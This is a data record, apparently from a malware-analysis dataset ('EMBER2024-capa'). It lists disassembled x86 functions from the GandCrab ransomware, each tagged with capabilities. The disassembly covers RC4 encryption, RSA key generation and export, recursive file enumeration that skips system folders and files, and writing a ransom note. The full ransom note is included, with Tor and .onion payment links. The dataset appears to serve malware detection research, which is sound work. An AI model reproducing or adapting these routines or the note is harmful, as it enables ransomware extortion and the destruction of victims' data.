joyce8/EMBER2024-capa huggingface dataset:
Function at 0x195540
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x4c02
push 0
mov esi, edx
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x195576
lea ebx, [eax + 0x800]
mov edi, eax
jmp 0x19557a
xor edi, edi
xor ebx, ebx
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
push dword [ebp - 8]
push str.actionresulte_files_de_size_I64ue_time_d
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [ebp - 0xb0]
call fcn.001939b0
lea ecx, [ebp - 0xb0]
call fcn.00196d90
lea ecx, [ebp - 0xb0]
call fcn.00196ba0
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
call esi
lea ecx, [ebp - 0xb0]
lea eax, [edi + eax*2]
push eax
call fcn.001969a0
push edi
call esi
mov ecx, dword [0x1a0130]
mov edi, eax
movq xmm0, qword [str.aeriedjDshasj]
lea eax, [ebp - 0x1af]
mov dword [ebp - 0x18], ecx
mov cx, word [0x1a0134]
push 0xff
mov word [ebp - 0x14], cx
mov cl, byte [0x1a0136]
push 0
push eax
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x1b0], 0
call fcn.00198b30
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.00195c40
mov edx, dword [ebp - 4]
lea esi, [edi + edi]
add esp, 4
lea ecx, [ebp - 0x1b0]
push esi
call fcn.00195cf0
add esp, 4
lea eax, [edi*8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x40000001
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x195692
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
push 0x40
push 0x3000
lea esi, [eax + 4]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov dword [ebp - 8], eax
call edi
mov ecx, dword [ebp - 8]
add eax, 2
test ecx, ecx
je 0x1956c5
mov dword [ebp - 4], ecx
cmp eax, esi
jb 0x1956cc
mov dword [ebp - 4], 0
push ebx
xor esi, esi
call edi
test eax, eax
je 0x1956f2
mov edi, dword [ebp - 4]
mov al, byte [esi + ebx]
cmp al, 0xa
je 0x1956e6
cmp al, 0xd
je 0x1956e6
mov byte [edi], al
inc edi
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, eax
jb 0x1956d8
mov ecx, dword [ebp - 4]
xor edx, edx
push 0
call fcn.00195370
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 4
test eax, eax
mov ecx, 1
mov ebx, 0
cmovne ebx, ecx
push 0x8000
push 0
push dword [ebp - 8]
call esi
lea ecx, [ebp - 0xb0]
call fcn.00197720
push 0x8000
push 0
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x195c40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
push 0xff
lea eax, [ebp - 0x10f]
mov dword [ebp - 0x10], edi
mov ebx, ecx
mov byte [ebp - 0x110], 0
push edi
push eax
mov dword [ebp - 8], ebx
call fcn.00198b30
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x110]
add esp, 0xc
xor ecx, ecx
sub ebx, eax
mov eax, ecx
lea esi, [ebp - 0x110]
xor edx, edx
add esi, ecx
div dword [ebp + 8]
mov byte [ebx + esi], cl
inc ecx
mov al, byte [edx + edi]
mov byte [esi], al
cmp ecx, 0x100
jl 0x195c82
mov esi, dword [ebp - 8]
lea ebx, [ebp - 0x110]
mov edi, dword [ebp - 0x10]
sub ebx, esi
mov dword [ebp - 4], 0x100
mov dl, byte [esi]
movsx eax, byte [ebx + esi]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x195cd4
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 8]
mov al, byte [edi + ecx]
mov byte [esi], al
inc esi
dec dword [ebp - 4]
mov byte [edi + ecx], dl
jne 0x195cb7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x195cf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [ebp - 4], ecx
xor edi, edi
cmp dword [ebp + 8], ebx
jbe 0x195d72
lea ebx, [ebx]
inc esi
and esi, 0x800000ff
jns 0x195d21
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + ecx]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0x195d39
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + ecx]
mov byte [esi + ecx], al
mov byte [edi + ecx], dl
movzx ecx, byte [esi + ecx]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x195d5c
dec ecx
or ecx, 0xffffff00
inc ecx
mov eax, dword [ebp - 4]
movzx eax, byte [ecx + eax]
mov ecx, dword [ebp - 8]
xor byte [ebx + ecx], al
inc ebx
mov ecx, dword [ebp - 4]
cmp ebx, dword [ebp + 8]
jb 0x195d10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x195d80
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x195dd5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x195dce
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x195dcc
xor eax, eax
jmp 0x195e59
jmp 0x195dd5
xor eax, eax
jmp 0x195e59
lea edx, [ebp - 8]
push edx
push 0x8000001
push 0xa400
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x195df2
nop
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 6
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
push 7
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x196000
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x1a2ae8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x19606e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x196067
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x196065
xor eax, eax
jmp 0x19610c
jmp 0x19606e
xor eax, eax
jmp 0x19610c
mov dword [ebp - 0xc], 0
lea edx, [ebp - 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x1960f2
mov dword [ebp - 0x10], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [eax], 0xc8
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0xc], 0
jne 0x1960f2
mov ecx, dword [ebp - 0x14]
call fcn.001934f0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x1a2ae8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x196110
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get program files directory

Disassembly:
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x201
push 0
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, str.ProgramData_
mov ecx, edi
mov esi, eax
call fcn.00197ba0
test eax, eax
jne 0x196228
mov edx, str.Program_Files_
mov ecx, edi
call fcn.00197ba0
test eax, eax
jne 0x196228
mov edx, str.Tor_Browser_
mov ecx, edi
call fcn.00197ba0
test eax, eax
jne 0x196228
mov edx, str.Ransomware
mov ecx, edi
call fcn.00197ba0
test eax, eax
jne 0x196228
mov edx, str.All_Users_
mov ecx, edi
call fcn.00197ba0
test eax, eax
jne 0x196228
mov edx, str.Local_Settings_
mov ecx, edi
call fcn.00197ba0
test eax, eax
jne 0x196228
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push eax
push 0x2a
push esi
push eax
call ebx
test eax, eax
je 0x1961c1
mov edx, esi
mov ecx, edi
call fcn.00197ba0
test eax, eax
jne 0x196228
push 0
push 0x2b
push esi
push 0
call ebx
test eax, eax
je 0x1961db
mov edx, esi
mov ecx, edi
call fcn.00197ba0
test eax, eax
jne 0x196228
push 0
push 0x24
push esi
push 0
call ebx
test eax, eax
je 0x1961f5
mov edx, esi
mov ecx, edi
call fcn.00197ba0
test eax, eax
jne 0x196228
push 0
push 0x1c
push esi
push 0
call ebx
test eax, eax
je 0x19620f
mov edx, esi
mov ecx, edi
call fcn.00197ba0
test eax, eax
jne 0x196228
push 0x8000
push 0
push esi
mov edi, 1
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
ret
push 0x8000
xor edi, edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x196240
Capabilities:
Manipulate boot configuration

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov edi, ecx
push edi
call esi
push edi
mov ebx, eax
call esi
lea esi, [edi - 2]
lea esi, [esi + eax*2]
dec ebx
je 0x19626e
lea esp, [esp]
sub esi, 2
dec ebx
cmp word [esi], 0x5c
je 0x19626e
test ebx, ebx
jne 0x196260
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
add esi, 2
push str.desktop.ini
push esi
call edi
test eax, eax
jne 0x19628c
pop edi
pop esi
mov eax, 1
pop ebx
ret
push str.autorun.inf
push esi
call edi
test eax, eax
je 0x196283
push str.ntuser.dat
push esi
call edi
test eax, eax
je 0x196283
push str.iconcache.db
push esi
call edi
test eax, eax
je 0x196283
push str.bootsect.bak
push esi
call edi
test eax, eax
je 0x196283
push str.boot.ini
push esi
call edi
test eax, eax
je 0x196283
push str.ntuser.dat.log
push esi
call edi
test eax, eax
je 0x196283
push str.thumbs.db
push esi
call edi
test eax, eax
je 0x196283
push str.GDCB_DECRYPT.txt
push esi
call edi
neg eax
pop edi
sbb eax, eax
pop esi
inc eax
pop ebx
ret
Function at 0x1963b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x400
push 0
mov edi, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov ebx, eax
push 0x1a0330
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, ebx
call fcn.00196300
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
test eax, eax
je 0x19640f
cmp dword [edi + 0x20], 0xa
jb 0x19640f
mov ecx, ebx
call fcn.00196240
test eax, eax
je 0x19642e
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov ecx, ebx
call fcn.001935e0
mov edi, eax
mov esi, edx
jmp 0x196415
Function at 0x1964a0
Capabilities:
Enumerate files on windows
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push ebx
push esi
mov esi, ecx
push edi
push esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x1a0364
push esi
lea ebx, [esi + eax*2]
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x268]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebx], ax
xor ebx, ebx
jmp 0x1964f0
push 0x1a0368
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0x196612
push 0x1a036c
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0x196612
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax - 1]
lea ecx, [esi + ecx*2]
test eax, eax
je 0x196608
nop
cmp word [ecx], 0x2e
je 0x19654c
sub ecx, 2
dec eax
jne 0x196540
test eax, eax
je 0x196608
push str..sql
push ecx
call edi
test eax, eax
jne 0x196608
push eax
push eax
push 3
push eax
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, 0x40000000
jae 0x1965f2
push 4
push 0x3000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x1965ef
push 0
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1965e1
mov edx, str.
mov ecx, esi
call fcn.00197c10
test eax, eax
je 0x1965e1
push str.
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esi + 1]
add ecx, eax
call fcn.00196440
mov dword [ebp - 8], eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 8]
test ebx, ebx
jne 0x19662a
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
jmp 0x19660a
xor ebx, ebx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x268]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1964f0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x196640
Capabilities:
Allocate or change rwx memory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x402
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push str._sGDCB_DECRYPT.txt
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x19669e
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
sete bl
jmp 0x1966d0
mov eax, dword [str.____GANDCRAB_____r_n_r_nAttention__r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files._r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:_r_n1._Download_Tor_browser___https:__www.torproject.org__r_n2._Install_Tor_browser_r_n3._Open_Tor_Browser_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_71f1f1312c339f40___________________________r_n5._Follow_the_instructions_on_this_page_r_n_r_n_r_nIf_Tor_Tor_browser_is_locked_in_your_country_or_you_can_not_install_it__open_one_of_the_following_links_in_your_regular_browser:_r_n1._http:__gdcbghvjyqy7jclk.onion.top_71f1f1312c339f40___________________r_n2._http:__gdcbghvjyqy7jclk.onion.casa_71f1f1312c339f40__________________r_n3._http:__gdcbghvjyqy7jclk.onion.guide_71f1f1312c339f40____________________r_n4._http:__gdcbghvjyqy7jclk.onion.rip_71f1f1312c339f40__________________________________________________r_n5._http:__gdcbghvjyqy7jclk.onion.plus_71f1f1312c339f40________________________________r_n_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free._r_n_r_nDANGEROUS__r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever__r_n]
test eax, eax
je 0x1966c4
push 0
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x1a2b04]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1966f0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov edi, ecx
call fcn.00196110
test eax, eax
je 0x196834
mov ecx, edi
call fcn.001964a0
test eax, eax
jne 0x196834
call fcn.00196640
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x1a0364
push edi
lea ebx, [edi + eax*2]
mov dword [ebp - 0x10], ebx
call esi
lea eax, [ebp - 0x264]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor ecx, ecx
mov dword [ebp - 8], eax
mov word [ebx], cx
cmp eax, 0xffffffff
jne 0x196764
mov eax, 0xdeadbeaf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp + 0x10]
jmp 0x196770
push 0x1a0368
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x196813
push 0x1a036c
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x196813
lea eax, [ebp - 0x238]
push eax
push edi
call esi
test byte [ebp - 0x264], 0x10
je 0x1967d1
push 0x1a039c
push edi
call esi
mov edx, dword [ebp - 0x14]
mov ecx, edi
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.001966f0
add esp, 0xc
jmp 0x19680b
push dword [ebp + 8]
mov eax, dword [ebx]
lea edx, [ebp - 0x264]
mov esi, dword [ebx + 4]
push ecx
mov ecx, edi
mov dword [ebp - 0xc], eax
call fcn.001963b0
add esp, 8
add dword [ebx], eax
adc dword [ebx + 4], edx
cmp esi, dword [ebx + 4]
ja 0x196805
jb 0x196800
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebx]
jae 0x196805
mov eax, dword [ebp + 0xc]
inc dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x196770
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1968f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
push esi
push edi
xor edi, edi
call fcn.001977f0
push 0x40
push 0x3000
push 0x2801
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x1a03ac
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push edi
push 0x19ff24
sub esp, 8
lea ecx, [ebp - 8]
push 0x27ff
push esi
push edi
push edi
push 0x1a03b0
push 0x1a03b4
call fcn.00197a00
test eax, eax
je 0x196971
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
cmp eax, 0x80
jae 0x196971
push esi
push 0x19ff64
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edi, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0x19698d
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x1969a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [ebx + 0x80], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x1969dc
push dword [ebx + 0x88]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebx + 0x84]
push esi
call edi
push 0x1a03f4
push esi
call edi
cmp dword [ebx], 0
je 0x1969fd
push dword [ebx + 4]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebx + 8]
push esi
call edi
push 0x1a03f4
push esi
call edi
cmp dword [ebx + 0xc], 0
je 0x196a1f
push dword [ebx + 0x10]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebx + 0x14]
push esi
call edi
push 0x1a03f4
push esi
call edi
cmp dword [ebx + 0x18], 0
je 0x196a41
push dword [ebx + 0x1c]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebx + 0x20]
push esi
call edi
push 0x1a03f4
push esi
call edi
cmp dword [ebx + 0x24], 0
je 0x196a63
push dword [ebx + 0x28]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebx + 0x2c]
push esi
call edi
push 0x1a03f4
push esi
call edi
cmp dword [ebx + 0x30], 0
je 0x196a85
push dword [ebx + 0x34]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebx + 0x38]
push esi
call edi
push 0x1a03f4
push esi
call edi
cmp dword [ebx + 0x3c], 0
je 0x196aa7
push dword [ebx + 0x40]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebx + 0x44]
push esi
call edi
push 0x1a03f4
push esi
call edi
cmp dword [ebx + 0x48], 0
je 0x196ac9
push dword [ebx + 0x4c]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebx + 0x50]
push esi
call edi
push 0x1a03f4
push esi
call edi
cmp dword [ebx + 0x54], 0
je 0x196aeb
push dword [ebx + 0x58]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebx + 0x5c]
push esi
call edi
push 0x1a03f4
push esi
call edi
cmp dword [ebx + 0x60], 0
je 0x196b5c
push 0x40
push 0x3000
push 0x42
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x6c]
mov dword [ebp + 8], eax
test ecx, ecx
je 0x196b21
push dword [ebx + 0x70]
push ecx
push 0x1a03f8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x196b30
push str.undefined
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push dword [ebx + 0x64]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebp + 8]
push esi
call edi
push 0x1a03f4
push esi
call edi
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebx + 0x74], 0
je 0x196b7e
push dword [ebx + 0x78]
push esi
call edi
push 0x1a03f0
push esi
call edi
push dword [ebx + 0x7c]
push esi
call edi
push 0x1a03f4
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
pop edi
mov word [esi + eax*2 - 2], cx
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x196d10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x196d7e
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x196d66
push dword [ebp - 4]
lea esi, [eax + 1]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x18